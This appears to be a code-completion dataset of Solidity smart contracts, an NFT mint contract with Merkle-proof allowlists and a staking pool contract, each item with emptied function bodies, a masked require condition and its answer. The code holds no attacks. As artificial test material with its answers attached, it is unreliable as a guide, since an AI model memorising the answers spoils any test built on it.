function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot) public onlyOwner { } function setWaitlistMerkleRoot(bytes32 _waitlistMerkleRoot) public onlyOwner { } // Token metadata function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI) external onlyOwner { } function _startTokenId() internal view virtual override returns (uint256) { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } // Only owner methods function withdraw() external onlyOwner nonReentrant { } }
!ogClaimed[_msgSender()],"You have already minted!"
486,145
!ogClaimed[_msgSender()]
"You are not OG!"
// SPDX-License-Identifier: MIT // _______ ________ __ __ __ // | \ | \ | \ | \ | \ // | $$$$$$$\| $$$$$$$$ ____| $$ ______ _______ _| $$_ ______ ____| $$ // | $$__| $$| $$__ / $$ | \ / \| $$ \ / \ / $$ // | $$ $$| $$ \ | $$$$$$$ \$$$$$$\| $$$$$$$ \$$$$$$ | $$$$$$\| $$$$$$$ // | $$$$$$$\| $$$$$ | $$ | $$ / $$| $$ | $$ __ | $$ $$| $$ | $$ // | $$ | $$| $$_____| $$__| $$| $$$$$$$| $$_____ | $$| \| $$$$$$$$| $$__| $$ // | $$ | $$| $$ \\$$ $$ \$$ $$ \$$ \ \$$ $$ \$$ \ \$$ $$ // \$$ \$$ \$$$$$$$$ \$$$$$$$ \$$$$$$$ \$$$$$$$ \$$$$ \$$$$$$$ \$$$$$$$ pragma solidity >=0.8.9 <0.9.0; import "erc721a/contracts/extensions/ERC721AQueryable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract REdacted is ERC721AQueryable, Ownable, ReentrancyGuard { using Strings for uint256; event MintSuccessfully(address indexed minter, uint256 totalSupply); event MintEnabled(string mintType, bool enabled); event MintPaused(bool paused); bytes32 public ogMerkleRoot; bytes32 public whitelistMerkleRoot; bytes32 public waitlistMerkleRoot; mapping(address => bool) public ogClaimed; mapping(address => bool) public whitelistClaimed; mapping(address => bool) public waitlistClaimed; string private _baseTokenURI; string public hiddenMetadataUri; uint256 public maxSupply; uint256 public reserved; uint256 public ogMintPrice; uint256 public whitelistMintPrice; uint256 public waitlistMintPrice; uint256 public publicMintPrice; bool public paused = true; bool public revealed = false; bool public ogMintEnabled = false; bool public whitelistMintEnabled = false; bool public waitlistMintEnabled = false; bool public publicMintEnabled = false; constructor( string memory _tokenName, string memory _tokenSymbol, uint256 _ogMintPrice, uint256 _whitelistMintPrice, uint256 _waitlistMintPrice, uint256 _publicMintPrice, uint256 _maxSupply, uint256 _reserved, string memory _hiddenMetadataUri ) ERC721A(_tokenName, _tokenSymbol) { } // Mint methods modifier mintCompliance { } function mintPriceCompliance (uint256 _mintPrice) internal view { } function ogMint(bytes32[] calldata _ogMerkleRoot) public payable mintCompliance { require(ogMintEnabled, "OG mint is not enabled!"); require(!ogClaimed[_msgSender()], "You have already minted!"); mintPriceCompliance(ogMintPrice); bytes32 leaf = keccak256(abi.encodePacked(_msgSender())); require(<FILL_ME>) ogClaimed[_msgSender()] = true; _safeMint(_msgSender(), 1); emit MintSuccessfully(msg.sender, totalSupply()); } function whitelistMint(bytes32[] calldata _whitelistMerkleRoot) public payable mintCompliance { } function waitlistMint(bytes32[] calldata _waitlistMerkleRoot) public payable mintCompliance { } function publicMint() public payable mintCompliance { } function reservedMint() public onlyOwner() { } function devMint() public payable onlyOwner() mintCompliance { } // Setters function setOgMintPrice(uint256 _ogMintPrice) public onlyOwner { } function setWhitelistMintPrice(uint256 _whitelistMintPrice) public onlyOwner { } function setWaitlistMintPrice(uint256 _waitlistMintPrice) public onlyOwner { } function setPublicMintPrice(uint256 _publicMintPrice) public onlyOwner { } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { } function setPaused(bool _state) public onlyOwner { } function setRevealed(bool _state) public onlyOwner { } function setOgMintEnabled(bool _state) public onlyOwner { } function setWhitelistMintEnabled(bool _state) public onlyOwner { } function setWaitlistMintEnabled(bool _state) public onlyOwner { } function setPublicMintEnabled(bool _state) public onlyOwner { } function setOgMerkleRoot(bytes32 _ogMerkleRoot) public onlyOwner { } function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot) public onlyOwner { } function setWaitlistMerkleRoot(bytes32 _waitlistMerkleRoot) public onlyOwner { } // Token metadata function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI) external onlyOwner { } function _startTokenId() internal view virtual override returns (uint256) { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } // Only owner methods function withdraw() external onlyOwner nonReentrant { } }
MerkleProof.verify(_ogMerkleRoot,ogMerkleRoot,leaf),"You are not OG!"
486,145
MerkleProof.verify(_ogMerkleRoot,ogMerkleRoot,leaf)
"You are not whitelisted!"
// SPDX-License-Identifier: MIT // _______ ________ __ __ __ // | \ | \ | \ | \ | \ // | $$$$$$$\| $$$$$$$$ ____| $$ ______ _______ _| $$_ ______ ____| $$ // | $$__| $$| $$__ / $$ | \ / \| $$ \ / \ / $$ // | $$ $$| $$ \ | $$$$$$$ \$$$$$$\| $$$$$$$ \$$$$$$ | $$$$$$\| $$$$$$$ // | $$$$$$$\| $$$$$ | $$ | $$ / $$| $$ | $$ __ | $$ $$| $$ | $$ // | $$ | $$| $$_____| $$__| $$| $$$$$$$| $$_____ | $$| \| $$$$$$$$| $$__| $$ // | $$ | $$| $$ \\$$ $$ \$$ $$ \$$ \ \$$ $$ \$$ \ \$$ $$ // \$$ \$$ \$$$$$$$$ \$$$$$$$ \$$$$$$$ \$$$$$$$ \$$$$ \$$$$$$$ \$$$$$$$ pragma solidity >=0.8.9 <0.9.0; import "erc721a/contracts/extensions/ERC721AQueryable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract REdacted is ERC721AQueryable, Ownable, ReentrancyGuard { using Strings for uint256; event MintSuccessfully(address indexed minter, uint256 totalSupply); event MintEnabled(string mintType, bool enabled); event MintPaused(bool paused); bytes32 public ogMerkleRoot; bytes32 public whitelistMerkleRoot; bytes32 public waitlistMerkleRoot; mapping(address => bool) public ogClaimed; mapping(address => bool) public whitelistClaimed; mapping(address => bool) public waitlistClaimed; string private _baseTokenURI; string public hiddenMetadataUri; uint256 public maxSupply; uint256 public reserved; uint256 public ogMintPrice; uint256 public whitelistMintPrice; uint256 public waitlistMintPrice; uint256 public publicMintPrice; bool public paused = true; bool public revealed = false; bool public ogMintEnabled = false; bool public whitelistMintEnabled = false; bool public waitlistMintEnabled = false; bool public publicMintEnabled = false; constructor( string memory _tokenName, string memory _tokenSymbol, uint256 _ogMintPrice, uint256 _whitelistMintPrice, uint256 _waitlistMintPrice, uint256 _publicMintPrice, uint256 _maxSupply, uint256 _reserved, string memory _hiddenMetadataUri ) ERC721A(_tokenName, _tokenSymbol) { } // Mint methods modifier mintCompliance { } function mintPriceCompliance (uint256 _mintPrice) internal view { } function ogMint(bytes32[] calldata _ogMerkleRoot) public payable mintCompliance { } function whitelistMint(bytes32[] calldata _whitelistMerkleRoot) public payable mintCompliance { require(whitelistMintEnabled, "Whitelist mint is not enabled!"); require(!whitelistClaimed[_msgSender()], "You have already minted!"); mintPriceCompliance(whitelistMintPrice); bytes32 leaf = keccak256(abi.encodePacked(_msgSender())); require(<FILL_ME>) whitelistClaimed[_msgSender()] = true; _safeMint(_msgSender(), 1); emit MintSuccessfully(msg.sender, totalSupply()); } function waitlistMint(bytes32[] calldata _waitlistMerkleRoot) public payable mintCompliance { } function publicMint() public payable mintCompliance { } function reservedMint() public onlyOwner() { } function devMint() public payable onlyOwner() mintCompliance { } // Setters function setOgMintPrice(uint256 _ogMintPrice) public onlyOwner { } function setWhitelistMintPrice(uint256 _whitelistMintPrice) public onlyOwner { } function setWaitlistMintPrice(uint256 _waitlistMintPrice) public onlyOwner { } function setPublicMintPrice(uint256 _publicMintPrice) public onlyOwner { } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { } function setPaused(bool _state) public onlyOwner { } function setRevealed(bool _state) public onlyOwner { } function setOgMintEnabled(bool _state) public onlyOwner { } function setWhitelistMintEnabled(bool _state) public onlyOwner { } function setWaitlistMintEnabled(bool _state) public onlyOwner { } function setPublicMintEnabled(bool _state) public onlyOwner { } function setOgMerkleRoot(bytes32 _ogMerkleRoot) public onlyOwner { } function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot) public onlyOwner { } function setWaitlistMerkleRoot(bytes32 _waitlistMerkleRoot) public onlyOwner { } // Token metadata function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI) external onlyOwner { } function _startTokenId() internal view virtual override returns (uint256) { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } // Only owner methods function withdraw() external onlyOwner nonReentrant { } }
MerkleProof.verify(_whitelistMerkleRoot,whitelistMerkleRoot,leaf),"You are not whitelisted!"
486,145
MerkleProof.verify(_whitelistMerkleRoot,whitelistMerkleRoot,leaf)
"You have already minted!"
// SPDX-License-Identifier: MIT // _______ ________ __ __ __ // | \ | \ | \ | \ | \ // | $$$$$$$\| $$$$$$$$ ____| $$ ______ _______ _| $$_ ______ ____| $$ // | $$__| $$| $$__ / $$ | \ / \| $$ \ / \ / $$ // | $$ $$| $$ \ | $$$$$$$ \$$$$$$\| $$$$$$$ \$$$$$$ | $$$$$$\| $$$$$$$ // | $$$$$$$\| $$$$$ | $$ | $$ / $$| $$ | $$ __ | $$ $$| $$ | $$ // | $$ | $$| $$_____| $$__| $$| $$$$$$$| $$_____ | $$| \| $$$$$$$$| $$__| $$ // | $$ | $$| $$ \\$$ $$ \$$ $$ \$$ \ \$$ $$ \$$ \ \$$ $$ // \$$ \$$ \$$$$$$$$ \$$$$$$$ \$$$$$$$ \$$$$$$$ \$$$$ \$$$$$$$ \$$$$$$$ pragma solidity >=0.8.9 <0.9.0; import "erc721a/contracts/extensions/ERC721AQueryable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract REdacted is ERC721AQueryable, Ownable, ReentrancyGuard { using Strings for uint256; event MintSuccessfully(address indexed minter, uint256 totalSupply); event MintEnabled(string mintType, bool enabled); event MintPaused(bool paused); bytes32 public ogMerkleRoot; bytes32 public whitelistMerkleRoot; bytes32 public waitlistMerkleRoot; mapping(address => bool) public ogClaimed; mapping(address => bool) public whitelistClaimed; mapping(address => bool) public waitlistClaimed; string private _baseTokenURI; string public hiddenMetadataUri; uint256 public maxSupply; uint256 public reserved; uint256 public ogMintPrice; uint256 public whitelistMintPrice; uint256 public waitlistMintPrice; uint256 public publicMintPrice; bool public paused = true; bool public revealed = false; bool public ogMintEnabled = false; bool public whitelistMintEnabled = false; bool public waitlistMintEnabled = false; bool public publicMintEnabled = false; constructor( string memory _tokenName, string memory _tokenSymbol, uint256 _ogMintPrice, uint256 _whitelistMintPrice, uint256 _waitlistMintPrice, uint256 _publicMintPrice, uint256 _maxSupply, uint256 _reserved, string memory _hiddenMetadataUri ) ERC721A(_tokenName, _tokenSymbol) { } // Mint methods modifier mintCompliance { } function mintPriceCompliance (uint256 _mintPrice) internal view { } function ogMint(bytes32[] calldata _ogMerkleRoot) public payable mintCompliance { } function whitelistMint(bytes32[] calldata _whitelistMerkleRoot) public payable mintCompliance { } function waitlistMint(bytes32[] calldata _waitlistMerkleRoot) public payable mintCompliance { require(waitlistMintEnabled, "Waitlist mint is not enabled!"); require(<FILL_ME>) mintPriceCompliance(waitlistMintPrice); bytes32 leaf = keccak256(abi.encodePacked(_msgSender())); require(MerkleProof.verify(_waitlistMerkleRoot, waitlistMerkleRoot, leaf), "You are not waitlisted!"); waitlistClaimed[_msgSender()] = true; _safeMint(_msgSender(), 1); emit MintSuccessfully(msg.sender, totalSupply()); } function publicMint() public payable mintCompliance { } function reservedMint() public onlyOwner() { } function devMint() public payable onlyOwner() mintCompliance { } // Setters function setOgMintPrice(uint256 _ogMintPrice) public onlyOwner { } function setWhitelistMintPrice(uint256 _whitelistMintPrice) public onlyOwner { } function setWaitlistMintPrice(uint256 _waitlistMintPrice) public onlyOwner { } function setPublicMintPrice(uint256 _publicMintPrice) public onlyOwner { } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { } function setPaused(bool _state) public onlyOwner { } function setRevealed(bool _state) public onlyOwner { } function setOgMintEnabled(bool _state) public onlyOwner { } function setWhitelistMintEnabled(bool _state) public onlyOwner { } function setWaitlistMintEnabled(bool _state) public onlyOwner { } function setPublicMintEnabled(bool _state) public onlyOwner { } function setOgMerkleRoot(bytes32 _ogMerkleRoot) public onlyOwner { } function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot) public onlyOwner { } function setWaitlistMerkleRoot(bytes32 _waitlistMerkleRoot) public onlyOwner { } // Token metadata function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI) external onlyOwner { } function _startTokenId() internal view virtual override returns (uint256) { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } // Only owner methods function withdraw() external onlyOwner nonReentrant { } }
!waitlistClaimed[_msgSender()],"You have already minted!"
486,145
!waitlistClaimed[_msgSender()]
"You are not waitlisted!"
// SPDX-License-Identifier: MIT // _______ ________ __ __ __ // | \ | \ | \ | \ | \ // | $$$$$$$\| $$$$$$$$ ____| $$ ______ _______ _| $$_ ______ ____| $$ // | $$__| $$| $$__ / $$ | \ / \| $$ \ / \ / $$ // | $$ $$| $$ \ | $$$$$$$ \$$$$$$\| $$$$$$$ \$$$$$$ | $$$$$$\| $$$$$$$ // | $$$$$$$\| $$$$$ | $$ | $$ / $$| $$ | $$ __ | $$ $$| $$ | $$ // | $$ | $$| $$_____| $$__| $$| $$$$$$$| $$_____ | $$| \| $$$$$$$$| $$__| $$ // | $$ | $$| $$ \\$$ $$ \$$ $$ \$$ \ \$$ $$ \$$ \ \$$ $$ // \$$ \$$ \$$$$$$$$ \$$$$$$$ \$$$$$$$ \$$$$$$$ \$$$$ \$$$$$$$ \$$$$$$$ pragma solidity >=0.8.9 <0.9.0; import "erc721a/contracts/extensions/ERC721AQueryable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract REdacted is ERC721AQueryable, Ownable, ReentrancyGuard { using Strings for uint256; event MintSuccessfully(address indexed minter, uint256 totalSupply); event MintEnabled(string mintType, bool enabled); event MintPaused(bool paused); bytes32 public ogMerkleRoot; bytes32 public whitelistMerkleRoot; bytes32 public waitlistMerkleRoot; mapping(address => bool) public ogClaimed; mapping(address => bool) public whitelistClaimed; mapping(address => bool) public waitlistClaimed; string private _baseTokenURI; string public hiddenMetadataUri; uint256 public maxSupply; uint256 public reserved; uint256 public ogMintPrice; uint256 public whitelistMintPrice; uint256 public waitlistMintPrice; uint256 public publicMintPrice; bool public paused = true; bool public revealed = false; bool public ogMintEnabled = false; bool public whitelistMintEnabled = false; bool public waitlistMintEnabled = false; bool public publicMintEnabled = false; constructor( string memory _tokenName, string memory _tokenSymbol, uint256 _ogMintPrice, uint256 _whitelistMintPrice, uint256 _waitlistMintPrice, uint256 _publicMintPrice, uint256 _maxSupply, uint256 _reserved, string memory _hiddenMetadataUri ) ERC721A(_tokenName, _tokenSymbol) { } // Mint methods modifier mintCompliance { } function mintPriceCompliance (uint256 _mintPrice) internal view { } function ogMint(bytes32[] calldata _ogMerkleRoot) public payable mintCompliance { } function whitelistMint(bytes32[] calldata _whitelistMerkleRoot) public payable mintCompliance { } function waitlistMint(bytes32[] calldata _waitlistMerkleRoot) public payable mintCompliance { require(waitlistMintEnabled, "Waitlist mint is not enabled!"); require(!waitlistClaimed[_msgSender()], "You have already minted!"); mintPriceCompliance(waitlistMintPrice); bytes32 leaf = keccak256(abi.encodePacked(_msgSender())); require(<FILL_ME>) waitlistClaimed[_msgSender()] = true; _safeMint(_msgSender(), 1); emit MintSuccessfully(msg.sender, totalSupply()); } function publicMint() public payable mintCompliance { } function reservedMint() public onlyOwner() { } function devMint() public payable onlyOwner() mintCompliance { } // Setters function setOgMintPrice(uint256 _ogMintPrice) public onlyOwner { } function setWhitelistMintPrice(uint256 _whitelistMintPrice) public onlyOwner { } function setWaitlistMintPrice(uint256 _waitlistMintPrice) public onlyOwner { } function setPublicMintPrice(uint256 _publicMintPrice) public onlyOwner { } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { } function setPaused(bool _state) public onlyOwner { } function setRevealed(bool _state) public onlyOwner { } function setOgMintEnabled(bool _state) public onlyOwner { } function setWhitelistMintEnabled(bool _state) public onlyOwner { } function setWaitlistMintEnabled(bool _state) public onlyOwner { } function setPublicMintEnabled(bool _state) public onlyOwner { } function setOgMerkleRoot(bytes32 _ogMerkleRoot) public onlyOwner { } function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot) public onlyOwner { } function setWaitlistMerkleRoot(bytes32 _waitlistMerkleRoot) public onlyOwner { } // Token metadata function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string calldata baseURI) external onlyOwner { } function _startTokenId() internal view virtual override returns (uint256) { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } // Only owner methods function withdraw() external onlyOwner nonReentrant { } }
MerkleProof.verify(_waitlistMerkleRoot,waitlistMerkleRoot,leaf),"You are not waitlisted!"
486,145
MerkleProof.verify(_waitlistMerkleRoot,waitlistMerkleRoot,leaf)
"Pool::onlyAdmin"
// SPDX-License-Identifier: MIT pragma solidity >=0.8.2 <0.9.0; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "../token/protocol/extension/mintable/interface/IERC20Mintable.sol"; import "./interface/IPool.sol"; import "./interface/IPoolFactory.sol"; import "../token/wrapped/IWNATIVE.sol"; import "../util/TransferHelper.sol"; import "../access/interfaces/IManager.sol"; interface IFactory { function getFee() external returns (uint256, uint256); } contract Pool is Context, IPool { // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. uint256 pendingReward; // // We do some fancy math here. Basically, any point in time, the amount of REWARD // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accRewardPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws STAKE tokens to a pool. Here's what happens: // 1. The pool's `accRewardPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives any pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { address stakeToken; // Address of STAKED token uint256 totalStake; // total amount of STAKED token uint256 allocPoint; // How many allocation points assigned to this POOL. REWARD to distribute per block. uint256 lastRewardBlock; // Last block number that REWARD distribution occurs. uint256 accRewardPerShare; // Accumulated REWARD per share, times PRECISION_FACTOR. See below. uint256 bonusEndBlock; // Block number when BONUS REWARD period ends for this POOL uint256 startBlock; // The block number when REWARD mining starts for this POOL uint256 minStakePeriod; // the minimum number of blocks a participant should stake for (early withdrawal will incure penatly fees) uint256 bonusMultiplier; // Bonus muliplier for early REWARD participation for this POOL uint256 rewardAmount; // the amount of total rewards to be distributed (only used for !mintable reward tokens) bool isLpToken; // the amount of total rewards to be distributed (only used for !mintable reward tokens) } bool private _isInitialized; IManager public manager; address public _factory; address public override rewardToken; uint256 public override rewardPerBlock; // REWARD tokens allocated per block for the entire POOL bool public override mintable; address public override treasury; address public override nativeToken; uint256 public override PRECISION_FACTOR; mapping(address => bool) public override staked; // Info of each pool. (by pid) PoolInfo[] public override poolInfo; // Info of each user that stakes tokens for a pool (by pid, by user address) mapping(uint256 => mapping(address => UserInfo)) public override userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public override totalAllocPoint = 0; modifier onlyAdmin() { require(<FILL_ME>) _; } modifier onlyGovernance() { } constructor() { } // NOTE: intialize() will fail for !mintable REWARD pools function initialize( address _rewardToken, uint256 _rewardPerBlock, address _treasury, address _nativeToken, uint256 _nativeAllocPoint, uint256 _nativeStartBlock, uint256 _nativeBonusMultiplier, uint256 _nativeBonusEndBlock, uint256 _nativeMinStakePeriod, address _manager ) external override { } function poolLength() external view override returns (uint256) { } // NOTE: if this Pool is a non-mintable reward, then the pool contract must be given approval for trasfer of tokens before any new add() is called // Add a new STAKE token to the pool. Can only be called by the owner. function add( address _stakeToken, uint256 _allocPoint, uint256 _startBlock, uint256 _bonusMultiplier, uint256 _bonusEndBlock, uint256 _minStakePeriod, uint256 _rewardAmount, // total amount of REWARD available for distribution for this pool, ignored if this rewardToken is mintable bool _withUpdate, bool _isLpToken ) public override onlyAdmin { } // Update the entire pool's reward per block. Can only be called by admin or governance function updateRewardPerBlock(uint256 _rewardPerBlock) public override onlyGovernance { } // Update the given pool's REWARD allocation points. Can only be called by admin or governance function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public override onlyGovernance { } // Update the given pool's start block. Can only be called by admin or governance function updateStart(uint256 _pid, uint256 _startBlock) public override onlyGovernance { } // Update the given pool's bonus data. Can only be called by admin or governance function updateBonus( uint256 _pid, uint256 _bonusEndBlock, uint256 _bonusMultiplier ) public override onlyGovernance { } // NOTE: need to approve _rewardAmount for transfer for this pool address from the caller before calling // Adds _rewardAmount to the rewardAmount for a given pool. Can only be called by admin or governance function addRewardAmount(uint256 _pid, uint256 _rewardAmount) public override onlyAdmin { } // Return reward multiplier over the given _from to _to block. function getMultiplier( uint256 _pid, uint256 _from, uint256 _to ) public view override returns (uint256) { } // View function to see pending REWARDs on frontend. function pendingReward(uint256 _pid, address _user) external view override returns (uint256) { } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public override { } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public override { } // Deposit STAKE tokens to POOL for REWARD allocation. function deposit(uint256 _pid, uint256 _amount) public payable override { } // Withdraw STAKED tokens from Pool. function withdraw(uint256 _pid, uint256 _amount) public override { } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public override { } function recoverWrongTokens(address _tokenAddress, uint256 _tokenAmount) external override onlyAdmin { } // Safe reward token transfer function, just in case a rounding error causes the pool to not have enough reward tokens. function _safeRewardTransfer(address to, uint256 amount) internal { } // for calculating minimum staking period and linear reduction of rewards // function _calcRewardPercentage(uint256 _startBlock, uint256 _minStakePeriod) internal view returns (uint256) { // if(block.number >= _startBlock + _minStakePeriod) { // return 10000; // 100.00% // } else if (block.number > _startBlock) { // range 1 - 9999, .01% - 99.99% // uint256 elapsed = block.number - _startBlock; // return ((elapsed * 10000) / _minStakePeriod); // } else { // return 0; // 0% // } // } // internal add to expose to initialize() and callable function _add( address _stakeToken, uint256 _allocPoint, uint256 _startBlock, uint256 _bonusMultiplier, uint256 _bonusEndBlock, uint256 _minStakePeriod, uint256 _rewardAmount, bool _withUpdate, bool _isLpToken ) internal { } }
manager.isAdmin(_msgSender()),"Pool::onlyAdmin"
486,173
manager.isAdmin(_msgSender())
"Pool::onlyGovernance"
// SPDX-License-Identifier: MIT pragma solidity >=0.8.2 <0.9.0; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "../token/protocol/extension/mintable/interface/IERC20Mintable.sol"; import "./interface/IPool.sol"; import "./interface/IPoolFactory.sol"; import "../token/wrapped/IWNATIVE.sol"; import "../util/TransferHelper.sol"; import "../access/interfaces/IManager.sol"; interface IFactory { function getFee() external returns (uint256, uint256); } contract Pool is Context, IPool { // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. uint256 pendingReward; // // We do some fancy math here. Basically, any point in time, the amount of REWARD // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accRewardPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws STAKE tokens to a pool. Here's what happens: // 1. The pool's `accRewardPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives any pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { address stakeToken; // Address of STAKED token uint256 totalStake; // total amount of STAKED token uint256 allocPoint; // How many allocation points assigned to this POOL. REWARD to distribute per block. uint256 lastRewardBlock; // Last block number that REWARD distribution occurs. uint256 accRewardPerShare; // Accumulated REWARD per share, times PRECISION_FACTOR. See below. uint256 bonusEndBlock; // Block number when BONUS REWARD period ends for this POOL uint256 startBlock; // The block number when REWARD mining starts for this POOL uint256 minStakePeriod; // the minimum number of blocks a participant should stake for (early withdrawal will incure penatly fees) uint256 bonusMultiplier; // Bonus muliplier for early REWARD participation for this POOL uint256 rewardAmount; // the amount of total rewards to be distributed (only used for !mintable reward tokens) bool isLpToken; // the amount of total rewards to be distributed (only used for !mintable reward tokens) } bool private _isInitialized; IManager public manager; address public _factory; address public override rewardToken; uint256 public override rewardPerBlock; // REWARD tokens allocated per block for the entire POOL bool public override mintable; address public override treasury; address public override nativeToken; uint256 public override PRECISION_FACTOR; mapping(address => bool) public override staked; // Info of each pool. (by pid) PoolInfo[] public override poolInfo; // Info of each user that stakes tokens for a pool (by pid, by user address) mapping(uint256 => mapping(address => UserInfo)) public override userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public override totalAllocPoint = 0; modifier onlyAdmin() { } modifier onlyGovernance() { require(<FILL_ME>) _; } constructor() { } // NOTE: intialize() will fail for !mintable REWARD pools function initialize( address _rewardToken, uint256 _rewardPerBlock, address _treasury, address _nativeToken, uint256 _nativeAllocPoint, uint256 _nativeStartBlock, uint256 _nativeBonusMultiplier, uint256 _nativeBonusEndBlock, uint256 _nativeMinStakePeriod, address _manager ) external override { } function poolLength() external view override returns (uint256) { } // NOTE: if this Pool is a non-mintable reward, then the pool contract must be given approval for trasfer of tokens before any new add() is called // Add a new STAKE token to the pool. Can only be called by the owner. function add( address _stakeToken, uint256 _allocPoint, uint256 _startBlock, uint256 _bonusMultiplier, uint256 _bonusEndBlock, uint256 _minStakePeriod, uint256 _rewardAmount, // total amount of REWARD available for distribution for this pool, ignored if this rewardToken is mintable bool _withUpdate, bool _isLpToken ) public override onlyAdmin { } // Update the entire pool's reward per block. Can only be called by admin or governance function updateRewardPerBlock(uint256 _rewardPerBlock) public override onlyGovernance { } // Update the given pool's REWARD allocation points. Can only be called by admin or governance function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public override onlyGovernance { } // Update the given pool's start block. Can only be called by admin or governance function updateStart(uint256 _pid, uint256 _startBlock) public override onlyGovernance { } // Update the given pool's bonus data. Can only be called by admin or governance function updateBonus( uint256 _pid, uint256 _bonusEndBlock, uint256 _bonusMultiplier ) public override onlyGovernance { } // NOTE: need to approve _rewardAmount for transfer for this pool address from the caller before calling // Adds _rewardAmount to the rewardAmount for a given pool. Can only be called by admin or governance function addRewardAmount(uint256 _pid, uint256 _rewardAmount) public override onlyAdmin { } // Return reward multiplier over the given _from to _to block. function getMultiplier( uint256 _pid, uint256 _from, uint256 _to ) public view override returns (uint256) { } // View function to see pending REWARDs on frontend. function pendingReward(uint256 _pid, address _user) external view override returns (uint256) { } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public override { } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public override { } // Deposit STAKE tokens to POOL for REWARD allocation. function deposit(uint256 _pid, uint256 _amount) public payable override { } // Withdraw STAKED tokens from Pool. function withdraw(uint256 _pid, uint256 _amount) public override { } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public override { } function recoverWrongTokens(address _tokenAddress, uint256 _tokenAmount) external override onlyAdmin { } // Safe reward token transfer function, just in case a rounding error causes the pool to not have enough reward tokens. function _safeRewardTransfer(address to, uint256 amount) internal { } // for calculating minimum staking period and linear reduction of rewards // function _calcRewardPercentage(uint256 _startBlock, uint256 _minStakePeriod) internal view returns (uint256) { // if(block.number >= _startBlock + _minStakePeriod) { // return 10000; // 100.00% // } else if (block.number > _startBlock) { // range 1 - 9999, .01% - 99.99% // uint256 elapsed = block.number - _startBlock; // return ((elapsed * 10000) / _minStakePeriod); // } else { // return 0; // 0% // } // } // internal add to expose to initialize() and callable function _add( address _stakeToken, uint256 _allocPoint, uint256 _startBlock, uint256 _bonusMultiplier, uint256 _bonusEndBlock, uint256 _minStakePeriod, uint256 _rewardAmount, bool _withUpdate, bool _isLpToken ) internal { } }
manager.isGorvernance(_msgSender()),"Pool::onlyGovernance"
486,173
manager.isGorvernance(_msgSender())
"Pool::initialize: FORBIDDEN"
